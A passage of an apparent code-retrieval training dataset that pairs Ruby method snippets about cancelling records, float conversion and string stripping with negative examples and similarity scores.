appointment_system } #back\n end\n end\n @client.reload\n appointment_system\n end", "def cancel\n # renders static page\n end", "def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def cancel\n investment = Investment.new(session[:investment_attributes])\n investment.skip_validation = true\n investment.status = 1\n if investment.save\n redirect_to investments_path, notice: \"Your Investments successfuly saved!\"\n else\n redirect_to start_wizard_investment_path, alert: \"Something went wrong, your investments hasn't been saved\"\n end\n end", "def tutor_cancel\n timeslot = Timeslot.where.not(student_id: nil).first\n student = timeslot.student\n TimeslotMailer.tutor_cancel(timeslot, student)\n end", "def check_for_cancel\n return unless params[:commit] == 'Cancel'\n\n if current_user.is_admin? || params.dig(:institute, :action) == 'new'\n redirect_to workspace_url\n else\n redirect_to manage_users_url\n end\n end", "def cancel(id); end", "def cancel\n # Define this later\n end", "def test_cancel\n\n pdef = Ruote.process_definition do\n sequence do\n bravo :flank => true\n alpha\n end\n end\n\n @dashboard.register_participant '.+', Ruote::NullParticipant\n\n wfid = @dashboard.launch(pdef)\n\n @dashboard.wait_for(:alpha)\n @dashboard.wait_for(1)\n\n fei = @dashboard.ps(wfid).expressions[1].fei\n\n @dashboard.cancel(fei)\n\n @dashboard.wait_for(wfid)\n sleep 1.0\n\n assert_nil @dashboard.ps(wfid)\n end", "def cancel_account\n @account.active = 0\n @account.endtime = Time.now\n @account.save\n \n redirect_to :controller => 'subs' and return false\n end", "def uncancel \n @project.update_attribute(:canceled, false)\n redirect_to project_path(@project)\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def cancel_workflow_execution options = {}\n add_decision :cancel_workflow_execution, options\n end", "def cancel_results_creation\n\t\t@outcome = Outcome.find(params[:outcome_id])\n\t\t@arms = Arm.find_all_by_id(params[:selected_arms])\n\t\t@extraction_form = ExtractionForm.find(params[:extraction_form_id])\n\t\t#@project = Project.find(params[:project_id])\n\t\t#@study = Study.find(params[:study_id])\n\t\t@outcome_timepoints = OutcomeTimepoint.find_all_by_id(params[:selected_timepoints])\n\t\n\t\tmeasures = OutcomeMeasure.where(:outcome_id => @outcome.id).all\n\t\tdatapoints = []\n\t\tunless measures.empty?\n\t\t\tmeasures.each do |measure|\n\t\t\t\t@arms.each do |one_arm|\n\t\t\t\t\t@outcome_timepoints.each do |one_tp|\n\t\t\t\t\t\tdatapoint = OutcomeDataPoint.where(:outcome_measure_id => measure.id, :extraction_form_id => @extraction_form.id, :arm_id => one_arm.id, :timepoint_id => one_tp.id)\n\t\t\t\t\t\tunless datapoint.empty?\n\t\t\t\t\t\t\tdatapoints << datapoint.first\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# remove any data points associated with the comparison\n\t\tunless datapoints.empty?\n\t\t\tdatapoints.each do |dp|\t\t\n\t\t\t\tdp.destroy\n\t\t\tend\n\t\tend\t\n\t\t\n\t\t# remove any measures associated with the comparison\n\t\tunless measures.empty?\n\t\t\tmeasures.each do |m|\n\t\t\t\tm.destroy\n\t\t\tend\n\t\tend\n\tend", "def cancel\n # TODO: That thing I'm claiming to do in the comments\n super\n end", "def cancel\n @project.update_attribute(:canceled, true)\n redirect_to project_path(@project)\n end", "def cancel\n\n unschedule_timeout(nil)\n\n cancel_participant\n\n trigger_on_cancel # if any\n\n @applied_workitem\n end", "def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end", "def cancel(params={})\n self.request(__method__, params)\n end", "def onCancel flag, view\n ## puts \"onCancel called\"\n\t\tself.reset(view)\n\tend", "def test_admin_can_cancel_expression\n\n login_as :admin\n\n delete :destroy, :wfid => @fei.wfid, :expid => '0_0_0'\n assert_response 302\n\n #p @response.headers\n assert_equal(\n \"http://test.host/processes/#{@fei.wfid}\", @response.headers['Location'])\n\n ps = RuotePlugin.ruote_engine.process_status(@fei.wfid)\n wi = ps.applied_workitems.first\n assert_equal '0.0.1', wi.fei.expid\n end", "def destroy\n appointment_request = current_user.pending_requests\n .find(params[:request_id])\n if appointment_request.cancel!\n redirect_to root_path\n else\n render status: 500\n end\n end", "def check_for_cancel\n redirect_to @article if params[:commit] == 'Cancel'\n end", "def destroy\n @appointment = appointment_can_cancel_and_reschedule\n\n scheduler.cancel_schedule(appointment: @appointment)\n\n redirect_to home_community_appointments_path\n end", "def canceladd\n render :update do |page|\n page.redirect_to url_for(:controller=>'groups', :action=>'search')\n end\n end", "def cancel!\n state_guard { modify_call 'Status' => 'cancelled' }\n end", "def cancel\n super\n end", "def cancel_action(timeout: nil)\n STDOUT.write(\"Do you wish to cancel the action? [y/N]: \")\n STDOUT.flush\n\n if STDIN.readline.strip.downcase == 'y'\n begin\n res = HaveAPI::Client::Action.cancel(@client, @id)\n\n rescue HaveAPI::Client::ActionFailed => e\n res = e.response\n end\n \n if res.is_a?(HaveAPI::Client::Response) && res.ok?\n puts \"Cancelled\"\n exit\n\n elsif res\n @pb.resume\n\n wait_for_completion(\n id: res,\n timeout: timeout,\n cancel: true,\n )\n exit\n end\n\n warn \"Cancel failed: #{res.message}\"\n exit(false)\n end\n end", "def cancel_action(msg=nil)\n raise_hook_failure(msg)\n end", "def cancel_action(msg=nil)\n raise_hook_failure(msg)\n end", "def cancel(oid, request, session)\n session.clear\n access_denied\n end", "def permiso_cancelar\n if user_signed_in?\n unless current_user.employee.nil?\n @permiso_cancelar = false\n @security_role_type = Security::RoleType.find_by(name: \"Cancelar\").name\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu| \n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name\n @permiso_cancelar = true\n break\n end\n end\n end\n end\n if current_user.username == \"aadmin\"\n @permiso_cancelar = true\n end\n if params[:action] == \"cancelar\" && @permiso_cancelar == false\n redirect_to root_path\n end\n return @permiso_cancelar\n end\n end\n end", "def cancel\n super\n end", "def student_cancel\n timeslot = Timeslot.where.not(student_id: nil).first\n student = timeslot.student\n TimeslotMailer.student_cancel(timeslot, student)\n end", "def cancel(simulator, reason = :notAssigned)\n @tripViaPoint.pickUp.clearPoi(simulator) ;\n @tripViaPoint.dropOff.clearPoi(simulator) ;\n @sav = nil ;\n @cancelReason = reason ;\n @cancelTime = simulator.currentTime ;\n end", "def cancel\n self.dismissModalViewControllerAnimated true\n end", "def cancel\n __log_activity\n __debug_route\n __debug_request\n super\n rescue => error\n auth_failure_redirect(message: error)\n end", "def cancel_button_clicked\n\t\t\t@path = nil\n\t\t\tclose_and_cleanup\n\t\tend", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def cancelled?; end", "def cancel?(id); end", "def new_site_cancel\n inactive_submit.click\n end" ]
[ "0.65735763", "0.6524342", "0.6455042", "0.6442101", "0.6426792", "0.6405751", "0.6405751", "0.64008623", "0.63403577", "0.6338053", "0.63374233", "0.6292941", "0.62845296", "0.6270667", "0.6258545", "0.62511384", "0.6201362", "0.6198756", "0.6187564", "0.6184752", "0.6173746", "0.61697733", "0.61685205", "0.61627555", "0.61613655", "0.6151867", "0.6138761", "0.613496", "0.61330396", "0.61215395", "0.61215395", "0.6106349", "0.6085967", "0.6071993", "0.60596997", "0.60579956", "0.60459024", "0.6038233", "0.603652", "0.60311455", "0.602594", "0.602594", "0.602594", "0.60234135", "0.60160065", "0.6014843", "0.60127884", "0.60060614", "0.60031253", "0.59959114", "0.5995367", "0.59892476", "0.59717417", "0.59594417", "0.5948602", "0.5945603", "0.5944508", "0.59419554", "0.59414035", "0.5937455", "0.5924549", "0.5919271", "0.59033954", "0.59009755", "0.5879906", "0.5861988", "0.5856339", "0.5855526", "0.5850205", "0.5847078", "0.5842975", "0.583831", "0.58309996", "0.5830348", "0.58243954", "0.5807485", "0.5800024", "0.57954556", "0.57953274", "0.57925195", "0.5790906", "0.57890725", "0.57874954", "0.57871115", "0.57861185", "0.57861185", "0.5785067", "0.57713187", "0.5762612", "0.5761899", "0.57297647", "0.5726716", "0.571991", "0.57150865", "0.5710799", "0.5710799", "0.5710799", "0.57084686", "0.5702235", "0.5698918" ]
0.8292112
0
Float() style conversion, or false if conversion impossible.
def to_Float begin fl = Float stripn return fl rescue ArgumentError return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def float?\n !!Float(self)\n rescue ArgumentError, TypeError\n false\n end", "def float3?(input)\n Float(input) rescue false\nend", "def float?(str)\n true if Float(str) rescue false\n end", "def is_float?\n\t\tFloat(self) != nil rescue false\n\tend", "def is_float?\n self.to_f.to_s == self\n end", "def float?(object)\n return true if Float(object)\n rescue \n return false\nend", "def float?\n @kind == :float_lit || @kind == :float_exp_lit\n end", "def isFloat?\n !!Float(exp) rescue false\n end", "def float?\n type == \"FLOAT\" || type == \"FLOAT64\"\n end", "def is_float(answer)\n float_answer = answer.to_f\n if float_answer == 0.0\n float_answer = nil\n end\n [float_answer, \"#{answer} must be a valid float.\"]\nend", "def float?\n self.class.float?(self)\n end", "def float?\n !!strip.match(/^-?\\d+\\.\\d+$/)\n end", "def is_float?(input)\n input.to_f.to_s == input\nend", "def float?(num)\n num.to_f().to_s()==num\nend", "def float?(num)\n num.to_f.to_s == num\nend", "def float?(string)\n b = Float(string.tr(',', '.'))\n return b\nrescue ArgumentError\n return false\nend", "def float?(num)\n num == num.to_f.to_s\nend", "def numeric?\n !!Float(self) rescue false\n end", "def float_val?(val)\n !!(val =~ /\\A[-+]?\\d+(\\.\\d+)?\\z/)\n end", "def represents_f?\n f_value = self.to_f\n # is this not equal to zero and also not actually an integer?\n if (f_value != 0) && (f_value.to_s == self)\n true\n else\n false\n end\n end", "def like_f?\n return false unless self.to_f?\n\n num = self.without_leading_zeros\n (num.to_i != num.to_f) || num.include?(\".\")\n end", "def are_floats?(x,y)\n return x.is_a?(Float) && y.is_a?(Float)\n end", "def float?(field)\n self.send(field).is_a? Float\n end", "def match_float( val )\n\t\treturn Float( val ) rescue nil\n\tend", "def test_002_convert_float2\r\n\tresult = convert_float( '')\r\n\tassert close_enough( 0.0, result )\r\n end", "def number?\n\t\ttrue if Float(string) rescue false\n\tend", "def operand?(str)\n\t\ttrue if Float(str) rescue false\n end", "def valid_float_number?(num)\n num.to_f.to_s == num\nend", "def to_float!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n type = TO_FLOAT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 313:11: 'float:'\n match( \"float:\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end", "def is_f?\n !!(self =~ /^[-+]?[0-9,]+\\.[0-9]+$/)\n end", "def float?(word)\n (word.to_f.to_s != word) && word\n end", "def numeric(x)\n true if Float(x) rescue false\n end", "def numeric?(num)\n !!Float(num) rescue false\nend", "def expect_float(value, field, subfield)\n return true if value.blank?\n return true if value.is_a?(Float)\n errors.add(field, \"#{subfield} must be a float if present\")\n false\n end", "def numeric?(object)\n true if Float(object) rescue false\nend", "def value_is_float?(string)\n return false if string.scan(/\\./).length != 1\n sides = string.split('.')\n return sides[0].numeric? && sides[1].numeric? && sides[1].to_i >= 0\n end", "def float2?(input)\n /\\d/.match(input) && /^-?\\d*\\.?\\d*$/.match(input)\nend", "def numeric?(object)\n \t\ttrue if Float(object) rescue false\n\tend", "def cast\n return to_f if numeric? && index(\".\")\n return to_i if numeric?\n if boolean?\n return true if self =~ /\\Atrue\\z/i\n return false if self =~ /\\Afalse\\z/i\n end\n self\n end", "def should_be_float?(field_info, field)\n field_info[\"type\"] == \"REAL\"\n end", "def numeric_check(first_num)\n Float(first_num) != nil rescue false\nend", "def convert_float(str)\n return nil if !str\n str.gsub! /[^0-9.]/, \"\"\n neg = str.match /\\((.*?)\\)/\n float = str.to_f\n neg ? -float : float\n end", "def convert_float( text_value )\r\n (!text_value.empty?) ? text_value.to_f : 0.0\r\nend", "def is_numeric?\n begin Float(self)\n true \n end\n rescue\n false\n end", "def is_numeric?(val)\n Float val rescue false\n end", "def check_float(a, b)\n tolerance = Math::TOLERANCE\n a = a.to_f\n b = b.to_f\n if a.finite? and b.finite?\n (a-b).abs < tolerance\n else\n true\n end\nend", "def check_float(a, b)\n tolerance = Math::TOLERANCE\n a = a.to_f\n b = b.to_f\n if a.finite? and b.finite?\n (a-b).abs < tolerance\n else\n true\n end\nend", "def is_valid_float_param(param_name)\n # this is the equivalent one-liner ruby-style\n # true if Float params[param_name] rescue false\n begin\n Float(params[param_name])\n return true\n rescue\n return false\n end\n end", "def is_number(num)\n true if Float(num) rescue false\nend", "def float?(num)\n /\\d/.match(num) && /^-?\\d*\\.?\\d*$/.match(num) ? true : false\nend", "def numeric?(string)\n Float(string) != nil rescue false\n end", "def ==(f)\n self.toFloat() == f.toFloat()\n end", "def ==(f)\n self.toFloat() == f.toFloat()\n end", "def numeric?; float?; end", "def float_check(num)\n\tif num.include?(\".\")\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def float_check(num)\n\tif num.include?(\".\")\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def check_float(a, b)\n #tolerance = 1e-12\n tolerance = 1e-2\n a = a.to_f\n b = b.to_f\n if a.finite? and b.finite?\n (a-b).abs < tolerance\n else\n true\n end\n end", "def numeric?(object)\n true if Float(object) rescue false\n end", "def to_f\n case @kind\n when :float_lit, :float_exp_lit,\n :integer_lit, :integer_exp_lit,\n :single_string_lit, :double_string_lit\n @value.to_f\n else\n self.to_i.to_f\n end\n end", "def validate_float(inFloat) \n\t returnValue = []\n\t if nil == inFloat\n\t\t returnValue << \"cannot be null \"\n\t else\n\t\t begin \n\t\t\t Float(inFloat)\n\t\t\t returnValue = nil \n\t\t rescue Exception => err \n\t\t\t returnValue = \" #{err.message }\" \n\t\t end \n\t end\n\t returnValue\n end", "def test_NilClass_InstanceMethod_to_f\n\t\tassert_equal(0.0, nil.to_f)\n\tend", "def numeric(input)\n return Float(input) != nil rescue false\n end", "def floating?(ctx)\n source.floating?(ctx)\n end", "def typecast_value_float(value)\n Float(value)\n end", "def check_float(a, b)\n tolerance = 1e-12\n a = a.to_f\n b = b.to_f\n if a.finite? and b.finite?\n (a-b).abs < tolerance\n else\n true\n end\nend", "def is_number(string)\r\n\ttrue if Float(string) rescue false\r\nend", "def post_process_float( val )\n\t\t\treturn Float( val.to_s )\n\t\tend", "def value_to_float(value)\n if @slop.strict?\n begin\n Float(value.to_s)\n rescue ArgumentError\n raise InvalidArgumentError, \"#{value} could not be coerced into Float\"\n end\n else\n value.to_s.to_f\n end\n end", "def is_number? string\n true if Float(string) rescue false\nend", "def numeric?(input)\n !Float(input).nil?\n rescue\n false\n end", "def valid_float_str?(str)\n str =~ /^[+\\-]?[\\d\\.]*$/ # optional sign, then only digits OR '.'\n end", "def type_cast(v)\n ((float = Float(v)) && (float % 1.0 == 0) ? float.to_i : float) rescue v\n end", "def is_number?(string)\n true if Float(string) rescue false #need to understand this\nend", "def check_float(param, default, options = {})\n min = (options[:min] ? param.to_f >= options[:min] : true)\n max = (options[:max] ? param.to_f <= options[:max] : true)\n\n if (param && param.strip =~ /^-?[0-9]+(\\.[0-9]+)?$/ && min && max)\n param.to_f\n else\n default\n end\n end", "def type_float!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 35 )\n\n\n\n type = TYPE_FLOAT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 211:13: 'float'\n match( \"float\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 35 )\n\n\n end", "def is_number?(i)\n true if Float(i) rescue false\nend", "def is_number?(i)\n true if Float(i) rescue false\nend", "def check_real(field_info, field)\n if should_be_float?(field_info, field) && !float?(field)\n add_float_message_to_errors(field)\n end\n end", "def parse(v)\n ((float = Float(v)) && (float % 1.0 == 0) ? float.to_i : float) rescue v\nend", "def float\n little? ? read(4).unpack1('e') : read(4).unpack1('g')\n end", "def is_numeric?(value)\n !!Float(value) rescue false \n end", "def Float(p0) end", "def is_numeric?(s)\n !!Float(s) rescue false\n end", "def coerce_float(value, _options = {})\n Float(value) rescue nil\n end", "def to_float(value)\n return value.to_f if value.is_a?(Numeric)\n value = value.to_s if value.is_a?(Symbol)\n value.to_f if value.is_a?(String) && value.match?(NUMBER_PATTERN)\n end", "def is_number(str)\n true if Float(str)\nrescue StandardError\n false\nend", "def coerce_float(value, options = {})\n Float(value) rescue nil\n end", "def coerce_float(value, options = {})\n Float(value) rescue nil\n end", "def to_float(string)\n string.to_f\n rescue\n 0.0\n end", "def to_float_or_int(v)\n v.match('\\.').nil? ? Integer(v) : Float(v)\n end", "def is_number? string\n \t\ttrue if Float(string) rescue false\n\tend", "def is_numeric?(s)\n !!Float(s) rescue false\n end", "def is_digit?(input)\n !!Float(input) rescue false\nend", "def _is_numeric?(str)\n Float(str) != nil rescue false\n end", "def is_number?(input)\n true if Float(input) rescue false\n end", "def to_f\n Float(value)\n end", "def __s2f(other)\n return other if other.is_a? Numeric\n if /^0[Xx][0-9a-fA-F]+$/ =~ other\n other.to_i(0).to_f\n else\n other.to_f\n end\n end", "def verifica(numero)\n true if (Float(numero)) && (Float(numero) > 1.0) rescue false\nend", "def is_number?(variable)\n true if Float(variable) rescue false\n end", "def float_dtype?\n [:float32, :float64].include?(dtype)\n end" ]
[ "0.76726866", "0.755282", "0.751132", "0.74429536", "0.7392249", "0.7293784", "0.7283553", "0.71981525", "0.7183453", "0.7047361", "0.70467025", "0.70077723", "0.6999853", "0.69730014", "0.696569", "0.69635713", "0.6942991", "0.69027007", "0.68591404", "0.6844093", "0.67857116", "0.67543364", "0.6754122", "0.67436576", "0.67349434", "0.6714031", "0.66998094", "0.6688222", "0.6679142", "0.66588545", "0.66212416", "0.6540608", "0.65275973", "0.6520754", "0.6518862", "0.6459271", "0.64074314", "0.6394871", "0.6371592", "0.63617736", "0.63509834", "0.6346614", "0.6309599", "0.62903446", "0.6285442", "0.6280404", "0.6280404", "0.6275622", "0.6271958", "0.626526", "0.6256958", "0.62564856", "0.62564856", "0.62532145", "0.62474984", "0.62474984", "0.62376845", "0.6225735", "0.6197919", "0.6194455", "0.6179452", "0.6147046", "0.6126535", "0.61222297", "0.6121704", "0.6120699", "0.6119336", "0.60916126", "0.60844725", "0.60366493", "0.6023286", "0.5999417", "0.59975165", "0.59963906", "0.59834814", "0.596948", "0.596948", "0.5962745", "0.5960387", "0.59484524", "0.5946007", "0.59443086", "0.59429157", "0.59247375", "0.59237057", "0.59204525", "0.5907387", "0.5907387", "0.58901757", "0.58675617", "0.5861805", "0.58481014", "0.5828071", "0.5817863", "0.5817298", "0.58162856", "0.57983416", "0.5792522", "0.57895875", "0.57830274" ]
0.8372635
0
Like strip, but also strips newlines.
def stripn encode( universal_newline: true ) .gsub("\n", "") .strip end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rstrip() end", "def strip_newlines(input); end", "def strip() end", "def rstrip!() end", "def strip_trailing_whitespace(text)\n text.split(\"\\n\").collect(&:strip).join(\"\\n\")\n end", "def lstrip() end", "def strip_lines(value)\n value.to_s.gsub(/\\n\\s*/, ' ')\n end", "def lstrip!() end", "def strip_newlines text\n text.gsub(/\\A\\n*(.*?)\\n*\\z/m, '\\1')\n end", "def strip!() end", "def strip_newlines text\n text.gsub(/\\A\\n*(.*?)\\n*\\z/m) do $1 end # block preserves String encoding\n end", "def remove_lines(text)\n text.gsub(/\\n/, '')\n end", "def strip\n with_command \"-strip\"\n end", "def stripped\n @stripped ||= strip @text\n end", "def clean(line)\n line.chomp.strip\n end", "def strip(s)\n s.gsub(/^\\s+/, '').gsub(/\\s+$/, '')\n end", "def remove_blank_lines(text)\n text.split(\"\\n\").reject { |l| l.strip == '' }.join(\"\\n\") + \"\\n\"\n end", "def lstrip\n `return self.replace(/^\\s*/, '');`\n end", "def lstrip\n `return self.replace(/^\\s*/, '');`\n end", "def strip_breaks(input)\n input.gsub(/\\n/, ' ')\n end", "def rstrip!\n erase! @result.length - 1 - (@result.rindex(/[^\\s]/) || -1)\n end", "def strip(str); end", "def strip\n lambda do |rec, acc|\n acc.collect! do |v|\n # unicode whitespace class aware\n v.sub(/\\A[[:space:]]+/,'').sub(/[[:space:]]+\\Z/, '')\n end\n end\n end", "def remove_newline_tag(s)\n return s.gsub(NEWLINE_TAG, \"\\n\")\n end", "def remove_newline_tag(s)\n return s.gsub(NEWLINE_TAG, \"\\n\")\n end", "def trim\n self.content = self.content.squeeze(\"\\n\").squeeze(\" \").strip\n end", "def strip_whitespace!\n replace(self.strip_whitespace)\n end", "def admin_strip_text(str)\n\t\tstr.gsub(/\\t|\\n/,'')\n\t\tstr.strip\n\tend", "def clean_line(line)\n line.strip\n end", "def rstrip\r\n match = rewrite(/\\s+\\z/)\r\n match ? match[0] : ''\r\n end", "def squish\n self.gsub(/[\\n\\t]/, '').squeeze(' ').strip\n end", "def strip(s)\n Sanitize.clean(s)\n end", "def strip!\n \"\"\n end", "def _strip seq\n seq.shift while (tok = seq.first) && tok.type == :endline\n end", "def strip_squeeze\n strip.squeeze(\" \")\n end", "def trim_whitespace; end", "def stripped_content\n\t\treturn self.content.gsub( /<.*?>/, '' ).tr( \"\\n\\t \", ' ' ).strip\n\tend", "def remove_empty_lines(source)\n for_outstrings_of(source) do |str|\n str.gsub /\\n\\s*\\n/m, \"\\n\"\n end\n end", "def dewhitespace\n gsub(/\\s+/,' ').strip\n end", "def remove_lines(text)\n text.delete(\"\\n\")\n end", "def strong_strip\n reverse.gsub(/^\\p{Zs}+|^\\p{Cf}+/, '').reverse.gsub(/^\\p{Zs}+|^\\p{Cf}+/, '')\n end", "def strip_surrounding_empty_lines(str)\n str.sub(/\\A[[:space:]]*^/, \"\")\n .sub(/$[[:space:]]*\\z/, \"\")\n end", "def strip_string string\n string.strip\n end", "def clean_whitespace(a)\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\nend", "def clean_whitespace(a)\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\nend", "def rsstrip(str)\n self.dup.tap { |duped|\n duped.rsstrip!(str)\n }\n end", "def unprocessed(value)\n return value.strip if value.respond_to? :strip\n value\n end", "def strip_whitespace\n code.gsub!(WHITESPACE_REGEX, ' ')\n\n code\n end", "def clean_whitespace(a)\n\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\n\nend", "def clean_whitespace(a)\n\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\n\nend", "def white_out(str)\n str.delete(\" \\n\\t\")\nend", "def strip_trailing_whitespace(code)\n code.gsub(/[ \\t]+$/, '')\n end", "def remove_leading_newlines\n @tokens.shift if @tokens[0][0] == \"\\n\"\n end", "def filter_out(str)\n return '' if str.nil? || str.empty?\n if !@pstack.binary_on\n str.gsub!(/\\n/, \"\\r\\n\")\n end\n str\n end", "def unwrap_text(text)\n text.gsub(/([^\\n])\\n([^\\n])/, '\\1 \\2')\n end", "def sstrip(str)\n self.dup.tap { |duped|\n duped.sstrip!(str)\n }\n end", "def trim_whitespace\n @expression.strip!\n end", "def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end", "def unfold(string)\n string.gsub(\"\\n \", \"\")\n end", "def strip(string)\n while string[-1] == \" \" || string[-1] == \"\\n\" || string[-1] == \"\\t\"\n string[-1] = \"\"\n end\n while string[0] == \" \" || string[0] == \"\\n\" || string[0] == \"\\t\"\n string[0] = \"\"\n end\n return string\nend", "def kill_leading_whitespace!(s)\n if s.is_a?(Array)\n s.map{|i| kill_leading_whitespace!(i)}\n else\n s.gsub!(/^ */,\"\").chomp\n s.gsub!(/\\A\\n/,\"\")\n s.gsub!(/\\n\\z/,\"\")\n s\n end\n end", "def kill_leading_whitespace!(s)\n if s.is_a?(Array)\n s.map{|i| kill_leading_whitespace!(i)}\n else\n s.gsub!(/^ */,\"\").chomp\n s.gsub!(/\\A\\n/,\"\")\n s.gsub!(/\\n\\z/,\"\")\n s\n end\n end", "def trimming_for_diff_text(code)\n # gsub(/^\\s*$/, '') means remove empty lines\n code.strip.gsub(/^\\s*$/, '')\n end", "def strip(*fields)\n sanitize(*fields) { |value| value.strip }\n end", "def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end", "def strip_leading_whitespace(text)\n return text if text.empty?\n leading_spaces = text.lines.first[/^(\\s+)/, 1]\n text.gsub(/^#{leading_spaces}/, '')\n end", "def ignore_rest_of_line\n @string.gsub!(/.*?\\n/, \"\\n\")\n end", "def trimmed_whitespace(text)\n text.gsub(/[\\t\\n\\f\\r ]+/ium, ' ')\n end", "def unescape(string)\n string.is_a?(String) ? string.gsub(/\\n|\\r/, \"\") : string\n end", "def strip\n result.stdout.strip unless result.stdout.nil?\n end", "def lsstrip(str)\n self.dup.tap { |duped|\n duped.lsstrip!(str)\n }\n end", "def rstrip_except_escapes(string)\n string.sub(/(?<!\\\\)\\s+$/, '')\n end", "def remove_whitespace\n self.description = self.description.strip\n end", "def unescape_newlines(content)\n content.gsub('\\n', \"\\n\")\n end", "def stripped?\n msg = \"#{self} contains whitespace\"\n check_if(self.strip == self, msg)\n end", "def grafify(string)\n string.strip!\n string.gsub!(\"\\n\",\"<br>\")\nend", "def rnl(string)\n\tstring.delete \"\\n\"\nend", "def sstrip!(str)\n str = Regexp.quote(str)\n self.gsub!(/^(#{str})+|(#{str})+$/, '')\n end", "def left_strip(str)\n output = \"\"\n whitespace = \"\\n\\t \"\n i = 0\n left = true\n while i < str.length\n if !left\n output << str[i]\n elsif !whitespace.include? str[i]\n left = false\n output << str[i]\n end\n i+=1\n end\n return output\nend", "def strip_naked\n return self if blank?\n self.downcase.strip.gsub(/([\\s]{2,})/, ' ')\n end", "def clean_text(text)\n text.gsub!(/\\r\\n/, '')\n text.gsub!(/\\r/, '')\n text\n end", "def lsstrip!(str)\n str = Regexp.quote(str)\n self.gsub!(/^(#{str})+/, '')\n end", "def normalize_source(source)\n source.chop.gsub(/\\s*\\n\\s*/, ' ')\n end", "def strip_space!\n replace self.gsub(/:\\s*/, \":\").gsub(/\\n/, \"\").gsub(/\\s+/, \" \").gsub(/(\\/\\*).*?(\\*\\/)/, \"\")\n end", "def remove_blank_and_comment_line(str)\n str.gsub! /^\\s*#.*/, ''\n str.gsub! /^\\s*\\/\\*((?!\\*\\/).)*\\*\\//m, ''\n str.gsub! /\\n\\s*/, \"\\n\"\n str.strip\n end", "def undent\n indent = split(\"\\n\").select { |line| !line.strip.empty? }.map { |line| line.index(/[^\\s]/) }.compact.min || 0\n gsub(/^[[:blank:]]{#{indent}}/, '').chomp\n end", "def remove_returns_and_spaces(file_contents)\n clean_file =\n file_contents\n .gsub!(/\\n+/, '')\n .gsub!(/(\\s+)(?![^<])/, '')\n\n clean_file\n end", "def compact_whitespace s\n s.gsub(/\\s+/, ' ').gsub(/>\\s</, '><').strip\n end", "def lstrip\n old_lstrip = @lstrip\n @lstrip = true\n yield\n ensure\n @lstrip &&= old_lstrip\n end", "def right_strip(string)\n i = string.length-1\n output = \"\"\n new_line = \"\\n\"\n tab = \"\\t\"\n space = \" \"\n while 0 < i\n if string[i] == new_line || string[i] == tab || string[i] == space \n i -= 1\n else\n j = 0\n while j <= i\n output += string[j]\n j += 1\n end\n if j == i + 1\n return output\n end\n end\n end\nend", "def sanitize_and_remove_lines(text)\n remove_lines(sanitize(text))\n end", "def sanitize_and_remove_lines(text)\n remove_lines(sanitize(text))\n end", "def right_strip(str)\n i = str.length - 1\n while i >= 0 && (str[i] == \" \" || str[i] == \"\\t\" || str[i] == \"\\n\")\n i -= 1\n end\n\n return str[0, i + 1]\nend", "def clean( input )\n input.gsub( %r/\\s+/, '' )\n end", "def _strip_comment(line)\n delimiter_indexes = (0 ... line.length).find_all { |i| line[i, 1] == COMMENT_DELIM }\n\n if delimiter_indexes.empty?\n # No comment to strip\n return line\n end\n\n # Ignore quoted strings by replacing them with a placeholder.\n # This is because a delimiter could occur in a string value.\n copy = String.new(line)\n line.scan(STRING_REGEX).each do |str|\n copy.sub!(str, ' ' * str.length)\n end\n\n # Take everything up to the first occurrence of COMMENT_DELIM\n comment_start = copy.index(COMMENT_DELIM)\n\n unless comment_start\n # No comment to strip\n return line\n end\n\n comment_start -= 1\n if comment_start < 0\n return ''\n end\n\n sanitized = line[0..comment_start]\n sanitized.strip!\n sanitized\n end", "def cleanUpNewLines html_string\n cleaned = html_string\n cleaned.gsub!(\"\\r\\n\\r\\n\", \"::::\")\n return cleaned\n end", "def strip_whitespace\n self.tags = tags.gsub(/\\s+/, '')\n # self.tags = tags.strip\n self.title = title.strip\n self.description = description.strip\n # self.keywords = keywords.strip\n self.body = body.strip\n end", "def rsstrip!(str)\n str = Regexp.quote(str)\n self.gsub!(/(#{str})+$/, 